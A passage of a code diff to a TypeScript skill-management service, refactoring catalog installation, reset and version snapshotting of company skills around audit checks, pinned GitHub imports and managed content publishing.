metadata: { - ...nextMetadata, - installedHash: catalogSkill.contentHash, - userModifiedAt: null, - updateHoldReason: null, - auditVerdict: "pass", - auditCodes: [], - auditScannedAt: new Date().toISOString(), - auditScanVersion: SKILL_AUDIT_SCAN_VERSION, - }, - updatedAt: new Date(), - }; - const row = await db - .update(companySkills) - .set(nextValues) - .where(and(eq(companySkills.id, skill.id), eq(companySkills.companyId, companyId))) - .returning() - .then((rows) => rows[0] ?? null); - if (!row) throw notFound("Skill not found"); - const updated = toCompanySkill(row); - const postAudit = await auditInstalledSkillBytes(updated); - if (postAudit.verdict === "fail") { - await persistAuditMetadata(updated, postAudit); - throw unprocessable("Catalog update produced hard-stop audit findings.", { - updateHoldReason: "audit_hard_stop", - audit: postAudit, - }); - } - return persistAuditMetadata(updated, postAudit); + if (!catalogId) throw unprocessable("Catalog skill metadata is incomplete."); + return (await installFromCatalog(companyId, { catalogSkillId: catalogId, slug: skill.slug, force: options.force }, + () => ({ ...publication, expectedVersionId: skill.currentVersionId }))).skill; } if (!skill.sourceLocator) { @@ -5120,11 +5023,13 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo if (!matching) { throw unprocessable(`Skill ${skill.key} could not be re-imported from its source.`); } - const imported = await upsertImportedSkills(companyId, [matching]); + const imported = await upsertImportedSkills(companyId, [matching], db, { + snapshots: await snapshotRemoteImports([matching]), bases: new Map([[matching.key, skill]]), publication, + }); return imported[0] ?? null; } - async function resetSkill(companyId: string, skillId: string, options: { force?: boolean } = {}): Promise { + async function resetSkill(companyId: string, skillId: string, options: { force?: boolean; expectedVersionId?: string | null } = {}, publication: SkillContentPublication = {}): Promise { await ensureSkillInventoryCurrent(companyId); const skill = await getById(companyId, skillId); if (!skill) return null; @@ -5133,6 +5038,29 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo } const metadata = getSkillMeta(skill); + const originVersionId = asString(metadata.originVersionId); + if (originVersionId) { + if (metadata.userModifiedAt && !options.force) throw unprocessable("Skill reset would discard saved modifications; rerun with --force after confirming reset."); + const { files } = await managedContent.read(companyId, skillId, originVersionId); + const candidate = await managedContent.prepare(companyId, files); + const markdown = files.find(file => file.path === "SKILL.md")!.content; + const parsed = parseFrontmatterMarkdown(markdown); + const audit = await executionContent.withVersion({ companyId, skillId, versionId: originVersionId }, sourceLocator => + auditInstalledSkillBytes({ ...skill, sourceType: "local_path", sourceLocator, fileInventory: files.map(({ path, kind }) => ({ path, kind })) })); + if (audit.verdict === "fail") throw unprocessable("Catalog reset is blocked by hard-stop audit findings.", { audit }); + const saved = await managedContent.publish(skill, candidate, { + markdown, name: asString(parsed.frontmatter.name) ?? skill.name, + description: asString(parsed.frontmatter.description) ?? skill.description, + fileInventory: serializeFileInventory(files), trustLevel: deriveTrustLevel(files), + metadata: { ...metadata, userModifiedAt: null, updateHoldReason: null, installedHash: audit.installedHash, + auditVerdict: audit.verdict, auditCodes: audit.codes, auditScannedAt: audit.scannedAt, auditScanVersion: audit.scanVersion }, + }, { type: "system" }, { ...publication, expectedVersionId: options.expectedVersionId, label: "Reset to installed catalog origin", + validate: async tx => { + await visibility(tx).assertSkill(companyId, skill.id); + await publication.validate?.(tx); + } }); + return toCompanySkill(saved.skill); + } const originHash = asString(metadata.originHash); const snapshotLocator = asString(metadata.originSnapshotLocator); const targetDir = normalizeSkillDirectory(skill); @@ -5673,32 +5601,6 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo }; } - async function materializeCatalogSkillFiles( - companyId: string, - skill: ImportedSkill, - normalizedFiles: Record, - ) { - const packageDir = skill.packageDir ? normalizePortablePath(skill.packageDir) : null; - if (!packageDir) return null; - const catalogRoot = path.resolve(resolveManagedSkillsRoot(companyId), "__catalog__"); - const skillDir = path.resolve(catalogRoot, buildSkillRuntimeName(skill.key, skill.slug)); - await fs.rm(skillDir, { recursive: true, force: true }); - await fs.mkdir(skillDir, { recursive: true }); - - for (const entry of skill.fileInventory) { - const sourcePath = entry.path === "SKILL.md" - ? `${packageDir}/SKILL.md` - : `${packageDir}/${entry.path}`; - const content = normalizedFiles[sourcePath]; - if (typeof content !== "string") continue; - const targetPath = path.resolve(skillDir, entry.path); - await fs.mkdir(path.dirname(targetPath), { recursive: true }); - await fs.writeFile(targetPath, content, "utf8"); - } - - return skillDir; - } - async function createDirectoryReplacement(targetDir: string) { const parentDir = path.dirname(targetDir); const baseName = path.basename(targetDir); @@ -5816,7 +5718,7 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo function buildCatalogSkillMetadata( catalogSkill: CatalogSkill, existing: CompanySkill | null, - originSnapshotLocator: string, + originSnapshotLocator: string | null, ) { const packageMetadata = getCatalogPackageMetadata(); const existingMetadata = existing && isPlainRecord(existing.metadata) ? existing.metadata : {}; @@ -5893,6 +5795,7 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo async function installFromCatalog( companyId: string, input: CompanySkillInstallCatalogRequest, + publicationForAction: (action: "created" | "updated") => SkillContentPublication = () => ({}), ): Promise { await ensureSkillInventoryCurrent(companyId); const catalogSkill = getCatalogSkillOrThrow(input.catalogSkillId); @@ -5925,9 +5828,9 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo && existingByKey.slug === slug && asString(metadata.originHash) === catalogSkill.contentHash ) { - const audit = await auditInstalledSkillBytes(existingByKey); - const audited = await persistAuditMetadata(existingByKey, audit); + const audit = await auditSkillContents(existingByKey); if (audit.installedHash === catalogSkill.contentHash && audit.verdict !== "fail") { + const audited = await persistAuditMetadata(existingByKey, audit); return { action: "unchanged", skill: audited, @@ -5936,6 +5839,7 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo }; } if (!input.force) { + await persistAuditMetadata(existingByKey, audit); const holdReason = audit.verdict === "fail" ? "audit_hard_stop" : "local_modifications"; const message = audit.verdict === "fail" ? "Catalog skill has hard-stop audit findings; rerun with --force to replace it." @@ -5948,32 +5852,28 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo } } - let materializedDir: string | null = null; - let originSnapshotLocator: string | null = null; - let candidateMaterializedDir: string | null = null; + const scratch = await fs.mkdtemp(path.join(os.tmpdir(), "paperclip-catalog-candidate-")); + let files: CompanySkillVersionFileInventoryEntry[]; + let candidateAudit: Awaited>; try { - originSnapshotLocator = await materializeCatalogOriginSnapshot(companyId, catalogSkill, slug); - const candidateAudit = await auditCatalogSkillSnapshot(companyId, catalogSkill, slug, originSnapshotLocator); - if (candidateAudit.verdict === "fail") { - throw unprocessable("Catalog install is blocked by hard-stop audit findings.", { - updateHoldReason: "audit_hard_stop", - audit: candidateAudit, - }); + for (const entry of catalogSkill.files) { + assertSkillSnapshotPath(entry.path); + const target = path.join(scratch, entry.path); + await fs.mkdir(path.dirname(target), { recursive: true }); + await copyCatalogSkillFile(catalogSkill.id, entry.path, target); } - candidateMaterializedDir = await materializeCatalogManifestSkillFiles(companyId, catalogSkill, slug); - materializedDir = candidateMaterializedDir; - } catch (error) { - if (candidateMaterializedDir) { - await fs.rm(candidateMaterializedDir, { recursive: true, force: true }).catch(() => undefined); - } - if (originSnapshotLocator) await fs.rm(originSnapshotLocator, { recursive: true, force: true }).catch(() => undefined); - throw error; - } - if (!materializedDir || !originSnapshotLocator) { - throw unprocessable("Catalog install did not materialize pinned files."); - } - const markdown = await fs.readFile(path.join(originSnapshotLocator, catalogSkill.entrypoint), "utf8"); - const metadata = buildCatalogSkillMetadata(catalogSkill, existingByKey, originSnapshotLocator); + candidateAudit = await auditCatalogSkillSnapshot(companyId, catalogSkill, slug, scratch); + if (candidateAudit.verdict === "fail") throw unprocessable("Catalog install is blocked by hard-stop audit findings.", + { updateHoldReason: "audit_hard_stop", audit: candidateAudit }); + files = await collectVersionFileInventoryFromDirectory(scratch); + } finally { await fs.rm(scratch, { recursive: true, force: true }); } + const candidate = await managedContent.prepare(companyId, files); + const markdown = files.find(file => file.path === "SKILL.md")!.content; + const metadata = { ...buildCatalogSkillMetadata(catalogSkill, existingByKey, null), + originPackageSnapshotId: candidate.packageSnapshotId, + installedHash: candidateAudit.installedHash, auditVerdict: candidateAudit.verdict, + auditCodes: candidateAudit.codes, auditScannedAt: candidateAudit.scannedAt, auditScanVersion: SKILL_AUDIT_SCAN_VERSION, + userModifiedAt: null, updateHoldReason: null }; const bundledCategory = paperclipBundledFolderCategory(catalogSkill.key, metadata); const bundledFolder = bundledCategory ? await folderSvc.ensureBundledCategory(companyId, bundledFolderLabel(bundledCategory)) @@ -5992,7 +5892,7 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo description: catalogSkill.description, markdown, sourceType: "catalog", - sourceLocator: materializedDir, + sourceLocator: catalogSkill.source?.url ?? null, sourceRef: catalogSkill.contentHash, trustLevel: catalogSkill.trustLevel, compatibility: catalogSkill.compatibility, @@ -6012,36 +5912,24 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo updatedAt: new Date(), }; - const row = existingByKey - ? await db - .update(companySkills) - .set(values) - .where(eq(companySkills.id, existingByKey.id)) - .returning() - .then((rows) => rows[0] ?? null) - : await db - .insert(companySkills) - .values(values) - .returning() - .then((rows) => rows[0] ?? null); - - if (!row) throw notFound("Failed to persist company skill"); - const installed = toCompanySkill(row); - const postAudit = await auditInstalledSkillBytes(installed); - if (postAudit.verdict === "fail") { - await persistAuditMetadata(installed, postAudit); - throw unprocessable("Catalog install produced hard-stop audit findings.", { - updateHoldReason: "audit_hard_stop", - audit: postAudit, - }); - } - const audited = await persistAuditMetadata(installed, postAudit); - return { - action: existingByKey ? "updated" : "created", - skill: audited, - catalogSkill, - warnings: postAudit.findings.map((finding) => finding.message), + const requestedPublication = publicationForAction(existingByKey ? "updated" : "created"); + const publication: SkillContentPublication = { ...requestedPublication, reuseCurrentVersion: true, + validate: async tx => { + if (existingByKey) await visibility(tx).assertSkill(companyId, existingByKey.id); + await requestedPublication.validate?.(tx); + }, + afterPublish: async (tx, skill, version) => { + const metadata = { ...skill.metadata, originVersionId: version.id }; + await tx.update(companySkills).set({ metadata }).where(and(eq(companySkills.companyId, companyId), eq(companySkills.id, skill.id))); + skill.metadata = metadata; + await requestedPublication.afterPublish?.(tx, skill, version); + }, }; + const saved = existingByKey + ? await managedContent.publish(existingByKey, candidate, values, { type: "system" }, publication) + : await managedContent.create(values, candidate, { type: "system" }, publication); + return { action: existingByKey ? "updated" : "created", skill: toCompanySkill(saved.skill), catalogSkill, + warnings: candidateAudit.findings.map(finding => finding.message) }; } async function materializeRuntimeSkillFiles(companyId: string, skill: CompanySkill) { @@ -6082,61 +5970,6 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo return { normalizedPath, targetPath }; } - async function listMaterializedFiles(root: string): Promise { - async function walk(dir: string, base: string): Promise { - const entries = await fs.readdir(dir, { withFileTypes: true }); - const out: string[] = []; - for (const entry of entries) { - const relativePath = base ? path.posix.join(base, entry.name) : entry.name; - const absolutePath = path.join(dir, entry.name); - if (entry.isDirectory()) { - out.push(...await walk(absolutePath, relativePath)); - } else if (entry.isFile()) { - out.push(normalizePortablePath(relativePath)); - } else { - throw unprocessable("Unsafe file in materialized skill version."); - } - } - return out; - } - - try { - const rootStat = await fs.lstat(root); - if (!rootStat.isDirectory() || rootStat.isSymbolicLink()) throw unprocessable("Unsafe materialized skill directory."); - return await walk(root, ""); - } catch (error) { - if ((error as NodeJS.ErrnoException).code === "ENOENT") return null; - throw error; - } - } - - async function materializedVersionSnapshotMatches(skillDir: string, version: CompanySkillVersion) { - const expected = new Map(); - let sawSkillFile = false; - for (const entry of version.fileInventory) { - const resolved = resolveVersionSnapshotPath(skillDir, entry.path); - if (!resolved) continue; - expected.set(resolved.normalizedPath, entry); - if (resolved.normalizedPath === "SKILL.md") sawSkillFile = true; - } - if (!sawSkillFile) { - throw unprocessable("Company skill version could not be materialized because its SKILL.md snapshot is missing."); - } - - const existingFiles = await listMaterializedFiles(skillDir); - if (!existingFiles || existingFiles.length !== expected.size) return false; - for (const relativePath of existingFiles) { - if (!expected.has(relativePath)) return false; - } - for (const [relativePath, content] of expected.entries()) { - const target = path.resolve(skillDir, relativePath); - const existingContent = await fs.readFile(target).catch(() => null); - if (!existingContent?.equals(skillFileBytes(content))) return false; - if (Boolean((await fs.stat(target)).mode & 0o111) !== Boolean(content.executable)) return false; - } - return true; - } - async function runtimeVersionInventory(companyId: string, version: CompanySkillVersionSummary) { if (!version.repositorySnapshotId) { const row = (await readVersionMetadata(companyId, version.companySkillId, version.id))!; @@ -6147,45 +5980,7 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo } async function materializeVersionSnapshot(companyId: string, skill: CompanySkill, version: StoredSkillVersion): Promise { - return withSkillVersionCacheLock(db, companyId, async () => { - const directory = await materializeVersionSnapshotLocked(companyId, skill, version); - await touchSkillVersionCache(companyId, skill.id, version.id); - return directory; - }); - } - - async function materializeVersionSnapshotLocked(companyId: string, skill: CompanySkill, version: StoredSkillVersion): Promise { - const runtimeRoot = path.resolve(resolveManagedSkillsRoot(companyId), "__versions__", skill.id); - const skillDir = path.join(runtimeRoot, version.id); - return runVersionSnapshotFlight(skillDir, async () => { - if (version.repositorySnapshotId || version.packageSnapshotId) return packageRuntime.materialize(version, skillDir); - version = { ...version, fileInventory: await packages.versionFiles(version) }; - await ensureSkillCacheDirectory(runtimeRoot, true); - if (await measureRunPhase("skills.version.verify", () => materializedVersionSnapshotMatches(skillDir, version), { fileCount: version.fileInventory.length })) return skillDir; - const staging = await fs.mkdtemp(path.join(runtimeRoot, `.${version.id}-`)); - try { - let wroteSkillFile = false; - for (const entry of version.fileInventory) { - const resolved = resolveVersionSnapshotPath(staging, entry.path); - if (!resolved) continue; - const { normalizedPath, targetPath } = resolved; - await fs.mkdir(path.dirname(targetPath), { recursive: true }); - await fs.writeFile(targetPath, skillFileBytes(entry), { mode: entry.executable ? 0o555 : 0o444 }); - if (normalizedPath === "SKILL.md") wroteSkillFile = true; - } - if (!wroteSkillFile) throw unprocessable("Company skill version could not be materialized because its SKILL.md snapshot is missing."); - // Another process may have published the same immutable version while we staged it. - if (await materializedVersionSnapshotMatches(skillDir, version)) return skillDir; - try { await fs.rename(staging, skillDir); } catch (error) { - if (await materializedVersionSnapshotMatches(skillDir, version)) return skillDir; - const code = (error as NodeJS.ErrnoException).code; - if (code !== "EEXIST" && code !== "ENOTEMPTY") throw error; - await fs.rm(skillDir, { recursive: true, force: true }); - await fs.rename(staging, skillDir); - } - return skillDir; - } finally { await fs.rm(staging, { recursive: true, force: true }); } - }); + return executionContent.withVersion({ companyId, skillId: skill.id, versionId: version.id }, async directory => directory); } function resolveRuntimeSkillMaterializedPath(companyId: string, skill: Pick) { @@ -6199,7 +5994,7 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo options: RuntimeSkillEntryOptions, ): Promise { const selectedVersionId = options.versionSelections?.get(skill.key) - ?? (options.snapshotLatest || (skill.metadata?.skillSourceId && skill.metadata?.snapshotHash) || skill.accessSourceId ? skill.currentVersionId : null); + ?? (options.snapshotLatest || skill.sourceType !== "local_path" || skill.metadata?.sourceKind === "paperclip_bundled" || (skill.metadata?.skillSourceId && skill.metadata?.snapshotHash) || skill.accessSourceId ? skill.currentVersionId : null); if (selectedVersionId) { const versionPath = path.resolve(resolveManagedSkillsRoot(companyId), "__versions__", skill.id, selectedVersionId); const version = await measureRunPhase("skills.version.read", () => readVersionMetadata(companyId, skill.id, selectedVersionId)); @@ -6240,6 +6035,10 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo } } + if (skill.sourceType !== "local_path" || skill.metadata?.sourceKind === "paperclip_bundled") { + return { status: "missing", source: resolveRuntimeSkillMaterializedPath(companyId, skill), + detail: "This installation has no committed version. Complete legacy conversion before execution." }; + } const source = await resolveExistingSkillDirectory(normalizeSkillDirectory(skill)); if (source) return { status: "available", source }; @@ -6305,7 +6104,10 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo consume: (entries: PaperclipSkillEntry[]) => T | Promise, ): Promise { if (options.onlyKeys?.size === 0 || (!options.onlyKeys && options.selectionConfig && !options.includeLegacy - && readPaperclipSkillSyncPreference(options.selectionConfig).desiredSkills.length === 0)) return consume([]); + && readPaperclipSkillSyncPreference(options.selectionConfig).desiredSkills.length === 0)) { + await options.selectVersions?.([]); + return consume([]); + } // Probe only the selected metadata. Public selections avoid scanning // unrelated source permissions; restricted selections still authorize now. const requested = options.onlyKeys ?? (options.selectionConfig && !options.includeLegacy @@ -6321,21 +6123,6 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo const preparedSelection = requested && installed.length === requested.size; if (!preparedSelection) { await measureRunPhase("skills.inventory", () => ensureSkillInventoryCurrent(companyId)); - } else { - for (const skill of installed.filter(skill => skill.sourceKind === "paperclip_bundled")) { - const candidates = skill.key === ONBOARDING_FIRST_TASK_SKILL_KEY - ? [fileURLToPath(new URL("../onboarding-assets/first-task/skills/first-task/", import.meta.url))] - : resolveBundledSkillsRoot().map(root => path.join(root, skill.slug)); - for (const directory of candidates) { - if (!(await fs.stat(path.join(directory, "SKILL.md")).catch(() => null))?.isFile()) continue; - if (normalizeSourceLocatorDirectory(skill.sourceLocator) !== path.resolve(directory)) { - const imported = await readLocalSkillImportFromDirectory(companyId, directory, { metadata: { sourceKind: "paperclip_bundled" } }); - if (imported.key !== skill.key) throw new Error("Bundled runtime skill key changed"); - await upsertImportedSkills(companyId, [imported], db, { includeFolderPath: false }); - } - break; - } - } } return withSkillPackageReadScope(db, () => withSkillVersionCacheLock(db, companyId, async () => { // Recheck scope on the full row read: a public-to-project change between @@ -6357,25 +6144,38 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo (options.includeLegacy ? resolveLegacyPaperclipDesiredSkillNames : resolvePaperclipDesiredSkillNames)( options.selectionConfig, references.map(skill => ({ key: skill.key, runtimeName: buildSkillRuntimeName(skill.key, skill.slug) }))), ) : undefined); - const skills = await measureRunPhase("skills.rows", () => readFullSkillRows(companyId, selectedKeys, unrestrictedOnly)); + let skills = await measureRunPhase("skills.rows", () => readFullSkillRows(companyId, selectedKeys, unrestrictedOnly)); + for (const [key, versionId] of options.versionSelections ?? []) { + if (!versionId || (selectedKeys && !selectedKeys.has(key))) continue; + const [version] = await db.select({ skillId: companySkillVersions.companySkillId }).from(companySkillVersions) + .where(and(eq(companySkillVersions.companyId, companyId), eq(companySkillVersions.id, versionId))); + skills = skills.filter(skill => skill.key !== key); + const owner = version ? await getById(companyId, version.skillId) : null; + if (owner) skills.push({ ...owner, key, slug: owner.key === key ? owner.slug : key.split("/").at(-1)! }); + } await packages.prefetch(companyId, skills.flatMap(skill => { const id = options.versionSelections?.get(skill.key) ?? skill.currentVersionId; return id ? [id] : []; })); - const out: PaperclipSkillEntry[] = []; + const selected: Array<{ skill: CompanySkill; selection: RuntimeSkillVersionSelection; installedResolution: RuntimeSkillSourceResolution | null }> = []; for (let skill of skills) { if (selectedKeys && !selectedKeys.has(skill.key)) continue; let installedResolution: RuntimeSkillSourceResolution | null = null; const unpinned = !options.versionSelections?.get(skill.key); - const installedDirectory = options.snapshotLatest && unpinned && (skill.sourceType === "local_path" || skill.sourceType === "catalog") + const installedDirectory = options.snapshotLatest && unpinned && skill.sourceType === "local_path" + && skill.metadata?.sourceKind !== "paperclip_bundled" ? await resolveExistingSkillDirectory(normalizeSkillDirectory(skill)) : null; const installedVersion = installedDirectory && skill.currentVersionId ? await readVersionMetadata(companyId, skill.id, skill.currentVersionId) : null; - const installedUnchanged = installedDirectory && installedVersion?.packageSnapshotId && !installedVersion.packageFileMap - ? await verifyFileManifest(installedDirectory, (await packages.manifest(companyId, installedVersion.packageSnapshotId)).files) + const installedManifest = installedVersion?.packageSnapshotId + ? await packages.manifest(companyId, installedVersion.packageSnapshotId) : null; + const installedUnchanged = installedDirectory && installedVersion && installedManifest + && skillVersionUsesWholePackage(installedVersion, installedManifest) + ? await verifyFileManifest(installedDirectory, installedManifest.files) : false; - if (!installedUnchanged && options.snapshotLatest && unpinned && (!skill.currentVersionId || installedDirectory)) { + if (skill.sourceType === "local_path" && skill.metadata?.sourceKind !== "paperclip_bundled" + && !installedUnchanged && options.snapshotLatest && unpinned && (!skill.currentVersionId || installedDirectory)) { // Capture installed bytes only. Older remote imports can have no // version yet; execution must not fetch their missing files upstream. const installed: RuntimeSkillSourceResolution | null = installedDirectory ? { status: "available", source: installedDirectory } @@ -6386,7 +6186,8 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo ? [{ path: "SKILL.md", kind: "skill" as const, content: skill.markdown }] : null; if (inventory) { const previous = installedVersion ?? (skill.currentVersionId ? await readVersionMetadata(companyId, skill.id, skill.currentVersionId) : null); - const previousHash = previous?.packageSnapshotId && !previous.packageFileMap + const previousHash = previous?.packageSnapshotId && skillVersionUsesWholePackage(previous, + installedManifest ?? await packages.manifest(companyId, previous.packageSnapshotId)) ? (await packages.descriptor(companyId, previous.packageSnapshotId)).contentHash : previous ? skillSnapshotHash(await packages.versionFiles(previous)) : null; if (previousHash !== skillSnapshotHash(inventory)) { @@ -6396,22 +6197,28 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo } } else installedResolution = installed; } + const versionId = options.versionSelections?.get(skill.key) + ?? (options.snapshotLatest || skill.sourceType !== "local_path" || skill.metadata?.sourceKind === "paperclip_bundled" || skill.accessSourceId ? skill.currentVersionId : null); + if (skill.sourceType === "managed" && !versionId) throw unprocessable("Managed skill has no committed version."); + selected.push({ skill, installedResolution, selection: { + companyId, skillId: skill.id, key: skill.key, runtimeName: buildSkillRuntimeName(skill.key, skill.slug), + versionId, currentVersionId: skill.currentVersionId, + } }); + } + const admitted = await options.selectVersions?.(selected.map(item => item.selection)); + const out: PaperclipSkillEntry[] = []; + for (const { skill, selection, installedResolution } of selected) { + if (admitted && !admitted.has(selection.key)) continue; const sourceResolution = installedResolution ?? await resolveRuntimeSkillSource(companyId, skill, { ...options, ...(options.snapshotLatest ? { materializeMissing: false } : {}), + versionSelections: new Map([[selection.key, selection.versionId]]), }); if (!sourceResolution) continue; - - out.push({ - key: skill.key, - runtimeName: buildSkillRuntimeName(skill.key, skill.slug), - source: sourceResolution.source, - versionId: options.versionSelections?.get(skill.key) ?? (options.snapshotLatest || (skill.metadata?.skillSourceId && skill.metadata?.snapshotHash) || skill.accessSourceId ? skill.currentVersionId : null), - currentVersionId: skill.currentVersionId, + out.push({ key: selection.key, runtimeName: selection.runtimeName, versionId: selection.versionId, + currentVersionId: selection.currentVersionId, source: sourceResolution.source, sourceStatus: sourceResolution.status, - missingDetail: sourceResolution.status === "missing" ? sourceResolution.detail : null, - }); + missingDetail: sourceResolution.status === "missing" ? sourceResolution.detail : null }); } - out.sort((left, right) => left.key.localeCompare(right.key)); return out; } @@ -6438,14 +6245,6 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo assertImportedSkillSourceAllowed(skill); } - for (const skill of importedSkills) { - if (skill.sourceType !== "catalog") continue; - const materializedDir = await materializeCatalogSkillFiles(companyId, skill, normalizedFiles); - if (materializedDir) { - skill.sourceLocator = materializedDir; - } - } - const conflictStrategy = options?.onConflict ?? "skip"; const existingSkills = await listFull(companyId); const existingByKey = new Map(existingSkills.map((skill) => [skill.key, skill])); @@ -6539,7 +6338,19 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo if (toPersist.length === 0) return out; - const persisted = await upsertImportedSkills(companyId, toPersist); + const snapshots = new Map(); + for (const skill of toPersist) { + const prefix = skill.packageDir ? `${skill.packageDir}/` : ""; + snapshots.set(skill.key, skill.fileInventory.map(entry => { + const sourcePath = entry.path === "SKILL.md" + ? Object.keys(normalizedFiles).find(name => name.toLowerCase() === `${prefix}SKILL.md`.toLowerCase()) + : `${prefix}${entry.path}`; + const content = sourcePath ? normalizedFiles[sourcePath] : undefined; + if (content === undefined) throw unprocessable("Imported package is missing a declared skill file."); + return { ...entry, content }; + })); + } + const persisted = await upsertImportedSkills(companyId, toPersist, db, { snapshots }); for (let index = 0; index < prepared.length; index += 1) { const persistedSkill = persisted[index]; const preparedSkill = prepared[index]; @@ -6561,19 +6372,24 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo companyId: string, imported: ImportedSkill[], database: DbOrTransaction = db, - options: { includeFolderPath?: boolean } = {}, + options: { includeFolderPath?: boolean; snapshots?: Map; + bases?: Map; publication?: SkillContentPublication } = {}, ): Promise { const out: CompanySkill[] = []; const bundledFolders = new Map>>(); for (const skill of imported) { assertImportedSkillKeyAllowed(skill); assertImportedSkillSourceAllowed(skill); - const existing = await getByKey(companyId, skill.key, database, options); + const existing = options.bases?.get(skill.key) ?? await getByKey(companyId, skill.key, database, options); const existingMeta = existing ? getSkillMeta(existing) : {}; const incomingMeta = skill.metadata && isPlainRecord(skill.metadata) ? skill.metadata : {}; const incomingOwner = asString(incomingMeta.owner); const incomingRepo = asString(incomingMeta.repo); const incomingKind = asString(incomingMeta.sourceKind); + if (existing?.currentVersionId && incomingKind === "paperclip_bundled") { + out.push(existing); + continue; + } if ( existing && existingMeta.sourceKind === "paperclip_bundled" @@ -6628,6 +6444,21 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo metadata, updatedAt: new Date(), }; + const files = options.snapshots?.get(skill.key) ?? (incomingKind === "paperclip_bundled" && skill.sourceLocator + ? await collectVersionFileInventoryFromDirectory(normalizeSourceLocatorDirectory(skill.sourceLocator)!) : undefined); + if (files) { + const candidate = await managedContent.prepare(companyId, files); + const saved = existing + ? await managedContent.publish(existing, candidate, values, { type: "system" }, { + ...options.publication, reuseCurrentVersion: true, validate: async tx => { + await visibility(tx).assertSkill(companyId, existing.id); + await options.publication?.validate?.(tx); + }, + }) + : await managedContent.create(values, candidate, { type: "system" }, options.publication); + out.push(toCompanySkill(saved.skill)); + continue; + } if (existing && importedSkillPersistValuesMatchExisting(existing, values)) { out.push(existing); continue; @@ -6650,6 +6481,58 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo return out; } + async function snapshotRemoteImports(imported: ImportedSkill[]) { + const snapshots = new Map(); + for (const skill of imported) { + assertImportedSkillSourceAllowed(skill); + const files: CompanySkillVersionFileInventoryEntry[] = []; + let bytes = Buffer.byteLength(skill.markdown); + if (skill.fileInventory.length > MAX_SKILL_SNAPSHOT_FILES || bytes > MAX_SKILL_SNAPSHOT_BYTES) { + throw unprocessable("Skill exceeds package limits."); + } + for (const entry of skill.fileInventory) { + assertSkillSnapshotPath(entry.path); + if (entry.path === "SKILL.md") { files.push({ ...entry, content: skill.markdown }); continue; } + if (skill.sourceType !== "github" && skill.sourceType !== "skills_sh") throw unprocessable("Source has no complete immutable file inventory."); + const metadata = skill.metadata ?? {}; + const owner = asString(metadata.owner); + const repo = asString(metadata.repo); + if (!owner || !repo || !isPinnedCommitRef(skill.sourceRef)) throw unprocessable("Repository revision is not pinned."); + const dir = typeof metadata.repoSkillDir === "string" ? normalizeGitHubSkillDirectory(metadata.repoSkillDir, "") : skill.slug; + const url = resolveRawGitHubUrl(asString(metadata.hostname) ?? "github.com", owner, repo, skill.sourceRef!, path.posix.join(dir, entry.path)); + const response = await ghFetch(url); + if (!response.ok) throw unprocessable(`Could not acquire installed file ${entry.path}: ${response.status}`); + if (!response.body) throw unprocessable("Installed file response has no body."); + const reader = response.body.getReader(); + const chunks: Uint8Array[] = []; + try { + while (true) { + const part = await reader.read(); + if (part.done) break; + bytes += part.value.byteLength; + if (bytes > MAX_SKILL_SNAPSHOT_BYTES) throw unprocessable("Skill exceeds package limits."); + chunks.push(part.value); + } + } finally { await reader.cancel(); reader.releaseLock(); } + files.push(snapshotFile(entry.path, entry.kind, Buffer.concat(chunks))); + } + snapshots.set(skill.key, files); + } + return snapshots; + } + + async function captureLegacyInstallation(companyId: string, skillId: string) { + const skill = await getById(companyId, skillId); + if (!skill) throw notFound("Skill not found"); + if (skill.sourceType !== "github" && skill.sourceType !== "skills_sh" && skill.sourceType !== "url") { + throw unprocessable("Legacy installation has no exact remote source."); + } + if (skill.sourceType !== "url" && !isPinnedCommitRef(skill.sourceRef)) { + throw unprocessable("Legacy repository revision is not pinned."); + } + return (await snapshotRemoteImports([skill])).get(skill.key)!; + } + async function importFromSource(companyId: string, source: string): Promise { await ensureSkillInventoryCurrent(companyId); const parsed = parseSkillImportSourceInput(source); @@ -6689,7 +6572,8 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo skill.key = deriveCanonicalSkillKey(companyId, skill); } } - const imported = await upsertImportedSkills(companyId, filteredSkills); + const imported = await upsertImportedSkills(companyId, filteredSkills, db, + local ? {} : { snapshots: await snapshotRemoteImports(filteredSkills) }); return { imported, warnings }; } @@ -7326,7 +7210,7 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo const outputDocument = await db .select({ body: documents.latestBody }) .from(issueDocuments) - .innerJoin(documents, eq(issueDocuments.documentId, documents.id)) + .innerJoin(documents, and(eq(issueDocuments.documentId, documents.id), eq(documents.companyId, input.companyId))) .where(and( eq(issueDocuments.companyId, input.companyId), eq(issueDocuments.issueId, input.issueId), @@ -7341,7 +7225,13 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo error: input.error ?? null, updatedAt: new Date(), }) - .where(and(eq(companySkillTestRuns.companyId, input.companyId), eq(companySkillTestRuns.id, row.id))) + .where(and( + eq(companySkillTestRuns.companyId, input.companyId), + eq(companySkillTestRuns.id, row.id), + inArray(companySkillTestRuns.status, ["queued", "running"]), + isNull(companySkillTestRuns.deletedAt), + isNull(companySkillTestRuns.supersededAt), + )) .returning() .then((rows) => rows[0] ?? null); return updated ? (await hydrateTestRuns(input.companyId, [updated]))[0] ?? null : null; @@ -7463,14 +7353,9 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo return { pruned: 